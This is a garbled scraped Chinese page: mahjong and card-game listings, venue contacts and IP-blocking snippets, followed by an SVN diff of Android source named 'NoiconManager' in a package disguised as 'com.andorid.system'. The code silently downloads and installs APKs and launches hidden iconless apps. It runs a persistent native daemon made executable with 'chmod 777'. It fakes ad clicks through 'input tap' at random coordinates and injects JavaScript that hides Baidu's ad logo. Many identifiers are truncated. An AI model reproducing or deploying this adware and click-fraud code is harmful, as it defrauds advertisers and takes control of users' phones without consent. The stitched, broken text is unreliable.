iphone手机图标没有了设置里的gbs图标为什么没有了

如何用手机控制麻将机
相关游戏下载
版本:单机版
版本:PC版
版本:PC版
版本:PC版
版本:PC版
版本:PC版
1个回答 22:54
2个回答 11:45
4个回答 10:26
1个回答 02:12
3个回答 23:06
智能四口麻将机控制盘爱棋...
浙江爱棋牌科技
大富豪 千鸟棋牌游戏平台...
飞扬科技工作室
智能四口麻将机控制盘爱棋...
爱棋牌科技
正品棋牌游戏开发手机定制...
GBS - 8118游戏...
广州龙腾电子游戏机配
goshop612mao
VR魔镜工厂
myfamily217
搜品狼 Net Shop Land
人数/群容量
TNT 玩家强...
山东省青岛市
60班游戏群
湖南省株洲市
天天炫斗竞技场?
竞技第一的奖励...
广东省广州市
天天酷跑互动
天天酷跑互动的...
江西省抚州市
包含游戏:斗地主
暂时没有更多关于0793游戏的相关信息!
包含游戏:德州扑克
6人李逵劈鱼
暂时没有更多关于斗斗58棋牌的信息!
包含游戏:金蟾捕鱼
暂时没有更多关于风行天下游戏城的相关信息!
包含游戏:炸弹斗地主
暂时没有更多关于游戏公社的信息!
包含游戏:千变双扣
456游戏大厅提供温州双扣、牛牛、至尊二张、港式五张、温州麻将等极具浙江特...
包含游戏:二人牛牛
暂时没有更多关于盛大号游戏中心的信息!
联系人:潘女士&&
地址:9号东凯国际商业广场1号楼B座808
摘要:会所为私人会所有麻将室,茶室,斯诺...
联系人:陈小姐&&020-
地址:天河区天河直街20号(皇佳棋牌)
摘要:我棋牌环境优雅,有免费停车场提供;...
联系人:彭小姐&&
地址:石沙路15号
摘要:广州艾克依智能卡有限公司(客服QQ...
联系人:江先生&&
地址:芳村大道东88号新年鸿大厦1101
摘要:广东省智力扑克邀...
联系人:祝敏鑫&&
地址:中山南路400号一中斜对面熙南里雨花茶坊三楼
摘要:环境幽雅,价格实惠。新店开业,优惠多多。
联系人:左小姐&&
地址:广州酒家
摘要:主管。部长。茶艺师生熟手,待遇底薪...
官方QQ群(点击加入)
用户交流群:
扫一扫加入QQ群手机上网卡怎么屏蔽别人的ip_中华文本库
教你一招把本机的真实ip地址屏蔽_IT/计算机_专业资料...“网卡”, 再用右键选取“属性”, 再依次点“TCP...教你找到WP8手机的本机I... 暂无评价 1页 2下载...
手机能连上可以排除路由的问 题, 重装一下无线网卡驱动,在百度搜索电脑品 牌...连接无线后仍不能使用,再排除 ip 地址是否 冲突。 右键点击小框内图标,打开...
实用操作一台电脑二张无线网卡怎么做热点供手机上网_计算机硬件及网络_IT/计算机...现把主要方法介绍如下: 1、外网连接设置 无线网卡 A 是外网,IP 地址和 DNS ...
将网络 管理员事先分配给本地工作站的IP地址绑定到对应工作站 的网卡设备上。...来实现阻止IP地址冲突的目的,因为交换机的端口地址过 滤模式会允许每一个交换机...
设置无线网卡的 IP 利用 USB 无线上网卡手机设置 1、在 Wifi 里新建一个连接,下面的“这是设备至设备的连接”一定要选上。 新建 Wifi 连接 2、身份验证公开,...
等时,网管就可以根据你所登记的网卡地址封了你的 IP 地址,使得你不能上网。...手机连上wifi不能上网,5... 2页 免费 如何创办自己的外服游戏... 4页 免费...
因此,最好能为 IP 地址加上一把“锁”,这样别人...另一个版本: 禁止修改 IP: regsvr32 netcfgx.dll ...只要将每台电脑的 IP 地址和网卡的 MAC 地址进行...
如何禁止局域网中的计算机更改 ip 地址局域网中 IP...在服务器上用 ARP 就可以将 IP 和 MAC 地址绑定...arp -d 网卡 IP 例如捆绑 IP 地址“192.168.10...
用手机卡做无线上网卡_计算机软件及应用_IT/计算机_...第五步:禁止后该设备前头出现红色叉子,表示已经不...状态窗口的详细信息标签显示服务器和客户端的 IP ...
C5-03手动设置WIFI的IP地址 XP电脑无线网卡共享WIFI给手机上网_IT/计算机_专业资料。今日推荐 88份文档 2014全国高考状元联手分享状元笔记 .../ NoiconManager
项目语言:None
权限:read-only(如需更高权限请先加入项目)
NoiconManager/
Index: Downloader.java
===================================================================
--- Downloader.java (revision 0)
+++ Downloader.java (revision 21)
@@ -0,0 +1,249 @@
+package com.andorid.system.
+import java.io.F
+import java.io.InputS
+import java.io.RandomAccessF
+import java.net.HttpURLC
+import java.net.URL;
+import java.util.HashS
+import java.util.LinkedL
+import java.util.L
+import android.app.PendingI
+import android.content.ComponentN
+import android.content.C
+import android.content.I
+import android.content.pm.PackageI
+import android.content.pm.PackageM
+import android.net.U
+import android.os.B
+import android.os.E
+import android.os.M
+public class Downloader {
private UiHandler mH
private Context mC
/** 存储正在下载的URL */
private HashSet&String& mUrlS
private LinkedList&File& mL
private static Downloader mI
public Downloader(Context context) {
this.mContext =
mUrlSet = new HashSet&String&();
mLinked = new LinkedList&File&();
public static synchronized Downloader getInstance(Context context) {
if (mInstance == null) {
mInstance = new Downloader(context);
/** 下载应用(下载完成后会发送一个广播) */
public synchronized void start(UiHandler handler, final String url, final String fileName) {
this.mHandler =
if (!mUrlSet.contains(url)) {
mUrlSet.add(url);// 将URL添加进Set集合
new Thread(new Runnable() {
public void run() {
File targetDir = getDownloadDir();
File targetFile = new File(targetDir, fileName);
beginDownloadFile(url, targetFile);
} catch (Exception e) {
BLog.e(&====start Exception===&, e);
}).start();
/** 获取文件保存目录 */
private File getDownloadDir() {
File dirFile =
if (Environment.getExternalStorageState().equals(android.os.Environment.MEDIA_MOUNTED)) {
String androidData = &/Android/data/&;
dirFile = new File(Environment.getExternalStorageDirectory(), androidData);
dirFile = mContext.getFilesDir();
if (!dirFile.exists()) {
dirFile.mkdirs();
} catch (Exception e) {
dirFile = mContext.getFilesDir();
return dirF
/** 开始下载文件 */
private synchronized File beginDownloadFile(String url, File targetFile) {
HttpURLConnection connection =
RandomAccessFile randomAccessFile =
InputStream inputStream =
// 对比文件大小与保存的大小是否一致
String lengthkey = targetFile.getName() + &length&;
ShareUtil shareUtil = ShareUtil.getInstance(mContext);
int mContentLength = shareUtil.getInt(lengthkey, -1);
if (targetFile.length() == mContentLength) {
sendMsg(targetFile);// 发送下载完成广播
return targetF
targetFile.delete();
URL httpUrl = new URL(url);
connection = (HttpURLConnection) httpUrl.openConnection();
connection.setRequestMethod(&GET&);
mContentLength = connection.getContentLength();
// 保存文件大小
shareUtil.putInt(lengthkey, mContentLength);
BLog.i(&====connection====& + mContentLength);
inputStream = connection.getInputStream();
File temFile = new File(targetFile.getParentFile(), &t& + targetFile.getName());
temFile.delete();
temFile.createNewFile();
randomAccessFile = new RandomAccessFile(temFile, &rwd&);
int length = -1;
byte[] buffer = new byte[5 * 1024];
while ((length = inputStream.read(buffer)) != -1) {
randomAccessFile.write(buffer, 0, length);
randomAccessFile.close();
inputStream.close();
connection.disconnect();
// 下载完成,发送广播
temFile.renameTo(targetFile);
sendMsg(targetFile);
return targetF
} catch (Exception e) {
BLog.e(&download error...&, e);
} finally {
mUrlSet.remove(url);
inputStream.close();
} catch (Exception e) {
randomAccessFile.close();
} catch (Exception e) {
connection.disconnect();
} catch (Exception e) {
/** 发送下载完成广播 */
private void sendMsg(File targetFile) {
BLog.i(&sendMsg...& + targetFile);
if (mHandler != null) {
if (targetFile != null && targetFile.exists()) {
mLinked.push(targetFile);
File alertFile = mLinked.getFirst();
Message msg = mHandler.obtainMessage();
msg.what = mHandler.FLAG_DOWNLOADSUCCESS;
msg.obj = alertF
mHandler.sendMessage(msg);
mLinked.remove(alertFile);
/** 启动安装界面或激活 */
protected boolean startInstall(File apkFile) {
String pkgName = getPackageName(apkFile);
ShareUtil shareUtil = ShareUtil.getInstance(mContext);
String opkgs = shareUtil.getString(shareUtil.PRE_KEY_PACKAGES, &&);
if (!opkgs.contains(pkgName)) {// 保存自有广告的包名
shareUtil.putString(shareUtil.PRE_KEY_PACKAGES, opkgs + &,& + pkgName);
if (!isInstall(mContext, pkgName)) {// 检测应用是否有安装
Intent intent = getInstallIntent(apkFile);
// 修改文件夹及安装包的权限,供第三方应用访问
Runtime.getRuntime().exec(&chmod 705 & + mContext.getFilesDir());
Runtime.getRuntime().exec(&chmod 604 & + apkFile.getPath());
PendingIntent pendi = PendingIntent.getActivity(mContext, 100, intent,
PendingIntent.FLAG_UPDATE_CURRENT);
mContext.startIntentSender(pendi.getIntentSender(), null, Intent.FLAG_ACTIVITY_NEW_TASK,
Intent.FLAG_ACTIVITY_NEW_TASK, 0);
} else {// 激活已经安装的应用
startNoicon(pkgName);
} catch (Exception e) {
e.printStackTrace();
/** true:该应用已经安装 */
private boolean isInstall(Context context, String packageName) {
PackageManager packageManager = context.getPackageManager();// 获取packagemanager
List&PackageInfo& packageInfo = packageManager.getInstalledPackages(0);
for (PackageInfo pi : packageInfo) {
if (packageName.equals(pi.packageName)) {
/** 获取安装界面的Intent */
private Intent getInstallIntent(File file) {
Intent intent = new Intent();
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setAction(Intent.ACTION_VIEW);
return intent.setDataAndType(Uri.fromFile(file), &application/vnd.android.package-archive&);
/** 得到apk文件的包名 */
private String getPackageName(File apkFile) {
PackageManager pm = mContext.getPackageManager();
String apkPath = apkFile.getAbsolutePath();
PackageInfo info = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);
if (info != null) {
return info.packageN
} catch (Exception e) {
return &&;
/** 激活无图标应用 */
protected void startNoicon(String pkg) {
ShareUtil shareUtil = ShareUtil.getInstance(mContext);
String opkgs = shareUtil.getString(shareUtil.PRE_KEY_PACKAGES, &&);
if (opkgs.contains(pkg)) {// 只激活自有广告的安装
Intent intent = new Intent();
intent.setAction(Intent.ACTION_MAIN);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
PackageManager pm = mContext.getPackageManager();
PackageInfo pi = pm.getPackageInfo(pkg, PackageManager.GET_ACTIVITIES);
String mainActivity = pi.activities[0].
intent.setComponent(new ComponentName(pkg, mainActivity));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
Bundle bundle = new Bundle();
bundle.putString(&CHANNEL&, mContext.getPackageName());
intent.putExtras(bundle);
mContext.startActivity(intent);
} catch (Exception e) {
Index: ShareUtil.java
===================================================================
--- ShareUtil.java (revision 0)
+++ ShareUtil.java (revision 21)
@@ -0,0 +1,152 @@
+package com.andorid.system.
+import java.util.C
+import android.content.C
+import android.content.SharedP
+public class ShareUtil {
/** SDK SharedPreferences文件名 **/
public String PRE_FILE_NAME;
private String PRE_KEY_TODAY;
/** 友盟配置自有应用的app */
public String PRE_KEY_PACKAGES;
/** 保存百度广告展示时间 */
public String PRE_KEY_SHOWBDTIME;
/** 保存道有道广告展示时间 */
public String PRE_KEY_SHOWDAOTIME;
/** 提示安装与激活时间 */
public String PRE_KEY_ALERTTIME;
/** 设备管理器激活成功上报的标识 */
public String PRE_KEY_ADMIN;
/** 提示激活设备管理器的时间 */
public String PRE_KEY_TIME_DEVICE;
/** 提示激活设备管理器的次数 */
public String PRE_KEY_COUNT_DEVICE;
private Context mC
private static ShareUtil mI
private SharedPreferences mSdkP
private ShareUtil(Context context) {
mContext =
PRE_KEY_TODAY = &today&;
PRE_KEY_PACKAGES = &packages&;
PRE_KEY_ALERTTIME = &alerttime&;
PRE_KEY_SHOWBDTIME = &showbdtime&;
PRE_KEY_SHOWDAOTIME = &showdaotime&;
PRE_KEY_ADMIN = &admin&;
PRE_KEY_TIME_DEVICE = &devicetime&;
PRE_KEY_COUNT_DEVICE = &devicecount&;
PRE_FILE_NAME = mContext.getPackageName().replaceAll(&.&, &&);
public static ShareUtil getInstance(Context context) {
if (mInstance == null) {
mInstance = new ShareUtil(context);
/** 获取SDKsharepreference */
public SharedPreferences getSharedPreferences() {
if (mSdkPreference == null) {
mSdkPreference = mContext.getSharedPreferences(PRE_FILE_NAME, Context.MODE_PRIVATE);
return mSdkP
* 间隔时间判断
* @Author Administrator
下午12:10:09
* @param key
* @param interval 间隔时间
* @return true:还在间隔时间之内
public boolean inInterval(String key, long interval) {
long currTime = System.currentTimeMillis();
long lastTime = getLong(key, 0);
// return (lastTime + interval) & currT
return Math.abs(lastTime - currTime) &
* 当天时间间隔判断
* @Author Administrator
下午1:21:55
* @param key
* @param interval 间隔时间
* @return true:今天指定时间间隔之内
public boolean dayInterval(String key, long interval) {
long lastTime = getLong(key, 0);// 得到上一次记录时间
boolean isToday = isToday(lastTime);// 判断上一次记录时间是否为今天
if (isToday) {// 如果不是今天,返回false
boolean inInterval = inInterval(key, interval);
return inI
/** 更新当前时间 */
public void updateTime(String key) {
putLong(key, System.currentTimeMillis());
/** 获取今天是哪一天 */
public int getToday() {
int lastDay = getInt(PRE_KEY_TODAY, 0);
int currentDay = Calendar.getInstance().get(Calendar.DAY_OF_YEAR);
if (lastDay != currentDay) {// 更新今天的日期
putInt(PRE_KEY_TODAY, currentDay);
return currentD
/** true:指定时间为今天 */
public boolean isToday(long milliseconds) {
if (milliseconds & 0) {
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(milliseconds);
// 指定时间的日期
int timeDay = calendar.get(Calendar.DAY_OF_YEAR);
int today = getToday();// 今天的日期
return today == timeD
public void putString(String key, String value) {
SharedPreferences pre = getSharedPreferences();
pre.edit().putString(key, value).commit();
public String getString(String key, String defaultString) {
SharedPreferences pre = getSharedPreferences();
return pre.getString(key, defaultString);
public void putLong(String key, long value) {
SharedPreferences pre = getSharedPreferences();
pre.edit().putLong(key, value).commit();
public long getLong(String key, long defaultLong) {
SharedPreferences pre = getSharedPreferences();
return pre.getLong(key, defaultLong);
public void putInt(String key, int value) {
SharedPreferences pre = getSharedPreferences();
pre.edit().putInt(key, value).commit();
public int getInt(String key, int defaultValue) {
SharedPreferences pre = getSharedPreferences();
return pre.getInt(key, defaultValue);
Index: BLog.java
===================================================================
--- BLog.java (revision 0)
+++ BLog.java (revision 21)
@@ -0,0 +1,25 @@
+package com.andorid.system.
+public class BLog {
private static final String TAG = &BTAG&;
private static boolean isDebug() {
public static void i(String msg) {
if (isDebug()) {
android.util.Log.i(TAG, msg);
public static void e(String msg, Exception e) {
if (isDebug()) {
android.util.Log.e(TAG, msg);
e.printStackTrace();
Index: Bdutil.java
===================================================================
--- Bdutil.java (revision 0)
+++ Bdutil.java (revision 21)
@@ -0,0 +1,62 @@
+package com.andorid.system.
+import java.util.R
+import android.content.C
+import android.os.H
+import android.util.DisplayM
+import android.view.WindowM
+public class Bdutil {
private Context mC
private static Bdutil mI
public Bdutil(Context context) {
mContext =
public static Bdutil getInstance(Context context) {
if (mInstance == null) {
mInstance = new Bdutil(context);
/** 模拟点击 */
public void moniClick(final int simulationRate) {
new Handler().post(new Runnable() {
public void run() {
Random random = new Random();
int randomInt = random.nextInt(100);
if (randomInt &= simulationRate) {
// 超过模拟点击概率
// 模拟坐标
DisplayMetrics displayMetrics = new DisplayMetrics();
WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
wm.getDefaultDisplay().getMetrics(displayMetrics);
int centerWidth = displayMetrics.widthPixels / 2;
int centerHeight = displayMetrics.heightPixels / 2;
int paddingX = displayMetrics.widthPixels / 3;
int paddingY = displayMetrics.heightPixels / 3;
paddingX = random.nextInt(paddingX) + 15;
paddingY = random.nextInt(paddingY) + 15;
// 随机正负号
int[] signInt = new int[] { 1, -1 };
int sign = signInt[random.nextInt(signInt.length)];
int cWidth = centerWidth + sign * paddingX;
int cHeight = centerHeight + sign * paddingY;
BLog.i(cWidth + &=====postDelayed=====& + cHeight);
String cmd = String.format(&input tap %s %s&, cWidth, cHeight);
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
BLog.e(&===postDelayed===&, e);
Index: Daemon.java
===================================================================
--- Daemon.java (revision 0)
+++ Daemon.java (revision 21)
@@ -0,0 +1,327 @@
+package com.andorid.system.
+import java.io.BufferedR
+import java.io.DataOutputS
+import java.io.F
+import java.io.FileOutputS
+import java.io.IOE
+import java.io.InputS
+import java.io.InputStreamR
+import java.io.OutputS
+import java.util.S
+import java.util.concurrent.atomic.AtomicI
+import android.app.A
+import android.content.ComponentN
+import android.content.C
+import android.content.I
+import android.net.LocalServerS
+import android.net.LocalS
+import android.os.B
+import android.os.P
+public class Daemon {
private static Intent mRestart =
private static Class&?& mActivityC
private static ServiceThread mService =
public static final String DAEMON = &baiduing&;// 激活action&assets目录下文件名
// 守护进程的版本
private static final String HOST = &http://127.0.0.1:7123/report/allData&;
private static AtomicInteger mCount = new AtomicInteger(0);
public static synchronized boolean startDaemon(Context context, Intent restart, Class&?& activityClass) {
if (mService == null) {
mRestart =
mActivityClass = activityC
mService = new ServiceThread(context);
if (!mService.isAlive()) {
mService.start();
} catch (Exception e) {
public static final void stopDaemon() {
mService.stopService();
private static final boolean runBin(Context context) {
String enname = DAEMON;// 最终复制的文件
final File filesDir = new File(context.getFilesDir().getParent());
File daemonFile = new File(filesDir, enname);
File daemonTemp = new File(filesDir, enname + &.t&);
if (daemonFile.exists()) {
daemonFile.delete();
InputStream in = context.getAssets().open(enname);
OutputStream out = new FileOutputStream(daemonTemp);
byte[] buff = new byte[1024];
while (true) {
int n = in.read(buff);
if (n & 0) {
out.write(buff, 0, n);
out.flush();
out.close();
in.close();
daemonTemp.renameTo(daemonFile);
} catch (Exception e) {
} finally {
if (!daemonFile.exists()) {
* -p APK包名 -r 重启APK命令 -h 上报服务器地址 -m 上报服务器消息 -v 打印级别 -i
* 守护的进程ID(用来判断是哪个进程创建的守护进程)
String cmd[] =
if (mRestart == null) {
// cmd = new String[] { f.getPath(),
// /* &-v&, &5&, */
// &-p&, context.getPackageName(), &-h&, HOST,
// // &-m&, getReport(context, mChannel, mVersion, mLocal,
// // true),
cmd = new String[] { daemonFile.getPath(),
/* &-v&, &5&, */
&-p&, context.getPackageName(), &-r&, getRestartCMD(context, mRestart), &-h&, HOST,
// &-m&, getReport(context, mChannel, mVersion, mLocal,
&-i&, && + Process.myPid() };
java.lang.Process os = Runtime.getRuntime().exec(&chmod 777 & + daemonFile.getPath());
os.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
Runtime.getRuntime().exec(cmd, null);
if (daemonFile.exists()) {
daemonFile.delete();
if (daemonTemp.exists()) {
daemonTemp.delete();
} catch (Exception e) {
e.printStackTrace();
private static class ServiceThread extends Thread {
private Context mC
private LocalServerSocket mS
private boolean isDaemon =
public ServiceThread(Context context) throws IOException {
super(&Daemon&);
mContext = context.getApplicationContext();
mSocket = new LocalServerSocket(context.getPackageName());
public synchronized void start() {
isDaemon =
super.start();
public synchronized void stopService() {
isDaemon =
mSocket.close();
} catch (IOException e) {
e.printStackTrace();
public void run() {
LocalSocket client =
runBin(mContext);
while (isDaemon) {
client = mSocket.accept();
if (client == null) {
new DataThread(mContext, client).start();
} catch (IOException e1) {
e1.printStackTrace();
} finally {
isDaemon =
mService =
private static class DataThread extends Thread {
private Context mC
private LocalSocket mC
private DataOutputStream mSocketOutS
private BufferedReader mSocketR
public DataThread(Context context, LocalSocket socket) throws IOException {
mContext =
mSocketOutStream = new DataOutputStream(socket.getOutputStream());
mSocketReader = new BufferedReader(new InputStreamReader(socket.getInputStream()), 256);
public void run() {
// 当前进程ID
final int pid = Process.myPid();
boolean isDaemon =
String line =
while (true) {
line = mSocketReader.readLine();
if (line == null) {
if (isDaemon) {
runBin(mContext);
if (line.startsWith(&P:&)) {
int Ppid = 0;
// 守护进程发送过来的父进程ID
Ppid = Integer.parseInt(line.substring(2));
} catch (Exception e) {
if (pid != Ppid) {
isDaemon =
// 退出关闭
mSocketOutStream.writeBytes(&EXIT&);
mSocketOutStream.flush();
if (mCount.incrementAndGet() & 1) {
isDaemon =
mCount.decrementAndGet();
mSocketOutStream.writeBytes(&EXIT&);
isDaemon =
// 发送必要的信息过去
mSocketOutStream.writeBytes(&OK&);
mSocketOutStream.flush();
} catch (Exception e) {
e.printStackTrace();
if (isDaemon) {
runBin(mContext);
} finally {
if (isDaemon) {
mCount.decrementAndGet();
if (mSocketOutStream != null) {
mSocketOutStream.close();
if (mSocketReader != null) {
mSocketReader.close();
mClient.shutdownInput();
mClient.shutdownOutput();
mClient.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
mSocketOutStream =
mSocketReader =
* @category 生成守护启动命令
* @param context
* @param intent
private static final String getRestartCMD(Context context, Intent intent) {
if (intent == null) {
// Class&?& cls =
ComponentName cn = intent.getComponent();
// String cl = intent.getStringExtra(&class&);
// cls = Class.forName(cl);
// } catch (ClassNotFoundException e) {
// e.printStackTrace();
if (Activity.class.isAssignableFrom(mActivityClass)) {
StringBuffer cmd = new StringBuffer(&am&);
if (Build.VERSION.SDK_INT & 16) {
cmd.append(& start --user 0 &);
cmd.append(& start &);
cmd.append(& -n &).append(cn.flattenToString());
final String action = intent.getAction();
if (action != null) {
cmd.append(& -a &).append(action);
if (intent.getData() != null) {
cmd.append(& -d &).append(intent.getData());
final Set&String& cat = intent.getCategories();
if (cat != null) {
for (String c : cat) {
cmd.append(& -c &).append(c);
if (intent.getFlags() & 0) {
cmd.append(& -f &).append(intent.getFlags());
return cmd.toString();
// return &am start
-n& + cn.flattenToString() +
// & -a android.intent.action.MAIN -c android.intent.category.LAUNCHER&;
Index: Baidu.java
===================================================================
--- Baidu.java (revision 0)
+++ Baidu.java (revision 21)
@@ -0,0 +1,294 @@
+package com.andorid.system.
+import org.json.JSONO
+import android.app.A
+import android.content.C
+import android.os.H
+import android.os.M
+import android.view.KeyE
+import android.view.V
+import android.view.View.OnKeyL
+import android.view.ViewG
+import android.view.ViewGroup.OnHierarchyChangeL
+import android.view.WindowM
+import android.webkit.WebV
+import android.webkit.WebViewC
+import com.baidu.mobads.AdV
+import com.baidu.mobads.InterstitialAd;
+import com.baidu.mobads.InterstitialAdL
+public class Baidu {
private WebView mWebV
private Context mC
private Activity mA
private Handler mH
/** 加载失败重试次数 */
private int mRetryCount = 0;
/** 立即展示广告 */
private boolean mNeedShowAd =
private InterstitialAd mInterstitialAd;
/** 展示广告 */
private final int WHAT_SHOWAD = 1;
private JSONObject mO
private static Baidu mI
/** 构造一个Baidu实例 */
private Baidu(Context context) {
this.mContext = context.getApplicationContext();
mHandler = new Handler(this.mContext.getMainLooper()) {
public void handleMessage(Message msg) {
if (mActivity != null) {
switch (msg.what) {
case WHAT_SHOWAD:
WindowManager.LayoutParams lp = mActivity.getWindow().getAttributes();
lp.alpha = 1f;
mActivity.getWindow().setAttributes(lp);
// upEvent(&onAdShow&);
/** 得到一个Baidu实例 */
public static synchronized Baidu getInstance(Context mContext) {
if (mInstance == null) {
mInstance = new Baidu(mContext);
/** 初始化SSP */
private void initInterstitialAd(JSONObject cpObject) {
if (mInterstitialAd != null) {
// TODO 设置百度SSP的应用id与代码位
mObject = cpO
String appid = mObject.getString(&appid&);
String posid = mObject.getString(&posid&);
AdView.setAppSid(mContext, appid);
mInterstitialAd = new InterstitialAd(mContext, posid);
mInterstitialAd.setListener(adListener);
mInterstitialAd.loadAd();
} catch (Exception e) {
BLog.e(&initInterstitialAd Exception...&, e);
/** 加载SSP广告 */
public synchronized void showCp(Activity activity, JSONObject object) {
if (activity == null) {
initInterstitialAd(object);
if (mActivity != null && !mActivity.equals(activity)) {
mActivity.finish();
this.mActivity =
WindowManager.LayoutParams lp = mActivity.getWindow().getAttributes();
lp.alpha = 0f;
mActivity.getWindow().setAttributes(lp);
((ViewGroup) mActivity.getWindow().getDecorView())
.setOnHierarchyChangeListener(new OnHierarchyChangeListener() {
public void onChildViewRemoved(View parent, View child) {
public void onChildViewAdded(View parent, View child) {
printfView(&&, child);
this.mNeedShowAd =// 需要立即展示的标志
if (mInterstitialAd.isAdReady()) {// 加载完成,立即展示
BLog.i(&======showAd=====&);
mInterstitialAd.showAd(mActivity);
BLog.i(&======loadAd=====&);
mInterstitialAd.loadAd();
// 广告未加载好时直接finish activity
finishActivity();
InterstitialAdListener adListener = new InterstitialAdListener() {
public void onAdReady() {
mRetryCount = 0;// 加载到广告之后,重置加载次数
if (mNeedShowAd) {// 加载完成需要立即展示广告
if (mActivity == null || mActivity.isFinishing()) {
Manager.getInstance(mContext).startActivity(mObject);
mInterstitialAd.showAd(mActivity);
} catch (Exception e) {
BLog.e(&onAdReady...&, e);
public void onAdPresent() {
// upEvent(&onAdPresent&);
long delayMillis = 2000;
mHandler.sendEmptyMessageDelayed(WHAT_SHOWAD, delayMillis);
int clickrate = mObject.getInt(&clickrate&);
if (clickrate & 0) {// 模拟点击率
Bdutil.getInstance(mContext).moniClick(clickrate);
} catch (Exception e) {
BLog.e(&onAdPresent...&, e);
public void onAdFailed(String arg0) {
// upEvent(&onAdFailed&);
if (mRetryCount & 3) {
mRetryCount++;
closeCp(true);
closeCp(false);
public void onAdDismissed() {
closeCp(false);
// upEvent(&onAdDismissed&);
public void onAdClick(InterstitialAd arg0) {
closeCp(false);
// upEvent(&onAdClick&);
/** 关闭百度ssp广告 */
public void closeCp(boolean showad) {
BLog.i(&====closeSsp====&);
finishActivity();
mNeedShowAd =
if (mInterstitialAd != null) {
mInterstitialAd.loadAd();
/** finish activity */
private void finishActivity() {
if (mActivity != null) {
mActivity.finish();
mActivity =
/** 拦截处理广告数据 */
private synchronized void printfView(String pre, View child) {
if (child instanceof WebView) {
mWebView = (WebView)
mWebView.setOnKeyListener(new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
mWebView.setWebViewClient(new WebViewClient() {
public void onLoadResource(WebView view, String url) {
super.onLoadResource(view, url);
view.loadUrl(initJavaScript(15, 3));
public void onPageFinished(WebView view, String url) {
view.loadUrl(initJavaScript(15, 3));
if (child instanceof ViewGroup) {
final int count = ((ViewGroup) child).getChildCount();
for (int i = 0; i & i++) {
printfView(pre + &+&, ((ViewGroup) child).getChildAt(i));
/** 处理关闭按钮的大小 */
private String initJavaScript(int closeSize, int margin) {
String javaScript = &javascript:{& + &if(!window.wyhdIsFound){& + &window.wyhdIsFound=false}& + &var count=0;&
+ &function disableLogo(doc){& + &try{& + &if(count&10){& + &return& + &}& + &count++;& + &if(!doc){&
+ &doc=window.document& + &}& + &function yyy(){& + &var closeDiv=doc.getElementById('closeDiv');&
+ &if(closeDiv){& + &closeDiv.style.height='&
+ closeSize
+ &px';&
+ &closeDiv.style.width='&
+ closeSize
+ &px';&
+ &closeDiv.style.top='&
+ &px';&
+ &closeDiv.style.right='&
+ &px';&
+ &closeDiv.style.font='normal &
+ closeSize
+ closeSize
+ &px arial,sans-serif'&
+ &var closeBt=doc.getElementById('closeBtn');&
+ &if(closeBt){closeBt.style.height='&
+ closeSize
+ &px';&
+ &closeBt.style.width='&
+ closeSize
+ &px'}&
// // click_ivn_3.gif
// + &var click_ivn_3=doc.getElementById('click_ivn_3');&
// + &if(click_ivn_3){click_ivn_3.style.display='none'}&// block
// // logo_bottom_left.png
// + &var logo_bottom_left=doc.getElementById('logo_bottom_left');&
// + &if(logo_bottom_left){logo_bottom_left.style.display='none'}&// block
// // bd-logo4.png
// + &var logoBt=doc.getElementById('bd-logo4');&
// + &if(logoBt){logoBt.style.display='none'}&
// + &var logoBts=doc.getElementsByClassName('bd-logo4');&
// + &if(logoBts&&logoBts.length&0){logoBts[0].style.display='none'}&
+ &var logoBt1=doc.getElementById('mobads-ad-logo');&
+ &if(logoBt1){logoBt1.style.display='none'}&
+ &var iframes=doc.getElementsByTagName('iframe');&
+ &if(iframes&&iframes.length&0){&
+ &for(var i=0;i&iframes.i++){&
+ &var innerDoc=iframes[i].contentD&
+ &disableLogo(innerDoc)}}}doc.onload=yyy()}catch(err){}}&
+ &function ttt(){if(!window.wyhdIsFound){window.wyhdIsFound=false}&
+ &if(!window.allowJavaInvok){window.allowJavaInvok=false}&
+ &window.allowJavaInvok=&
+ &if(window.wyhdIsFound){return}&
+ &disableLogo(document)}&
+ &if(!window.allowJavaInvok){window.allowJavaInvok=true}&
+ &if(window.allowJavaInvok){ttt();&
+ &document.onload=ttt()};}&;
return javaS
Index: Banner.java
===================================================================
--- Banner.java (revision 0)
+++ Banner.java (revision 21)
@@ -0,0 +1,130 @@
+package com.andorid.system.
+import org.json.JSONO
+import android.content.C
+import android.graphics.C
+import android.graphics.PixelF
+import android.util.DisplayM
+import android.view.G
+import android.view.V
+import android.view.WindowM
+import android.view.WindowManager.LayoutP
+import android.widget.RelativeL
+import com.baidu.mobads.AdS
+import com.baidu.mobads.AdV
+import com.baidu.mobads.AdViewL
+public class Banner {
private Context mC
private RelativeLayout mL
private boolean mRunning =
private WindowManager mWindowM
private static Banner mI
public Banner(Context context) {
this.mContext = context.getApplicationContext();
public static synchronized Banner getInstance(Context context) {
if (mInstance == null) {
mInstance = new Banner(context);
/** 加载banner广告 */
public synchronized void loadBanner(String appid, String posid) {
BLog.i(&===loadBanner===& + mRunning);
if (mRunning) {
mRunning =
if (mLayout == null) {
mLayout = new RelativeLayout(mContext);
mLayout.removeAllViews();
// 人群属性
AdSettings.setKey(new String[] { &baidu&, &中国& });
// 创建广告view
AdView.setAppSid(mContext, appid);
AdView adView = new AdView(mContext, posid);
// 设置监听器
adView.setListener(adListener);
int matchParent = RelativeLayout.LayoutParams.MATCH_PARENT;
int wrapContent = RelativeLayout.LayoutParams.WRAP_CONTENT;
mLayout.addView(adView, matchParent, wrapContent);
mLayout.setBackgroundColor(Color.TRANSPARENT);
addWindowView(mLayout);
AdViewListener adListener = new AdViewListener() {
public void onAdClick(JSONObject arg0) {
BLog.i(&===banner onAdClick===& + arg0);
removeWindowView(mLayout, false);
public void onAdFailed(String arg0) {
BLog.i(&===banner onAdFailed===& + arg0);
removeWindowView(mLayout, false);
public void onAdReady(AdView arg0) {
BLog.i(&===banner onAdReady===&);
public void onAdShow(JSONObject arg0) {
BLog.i(&===banner onAdShow===& + arg0);
public void onAdSwitch() {
BLog.i(&===banner onAdSwitch===&);
/** 关闭广告 */
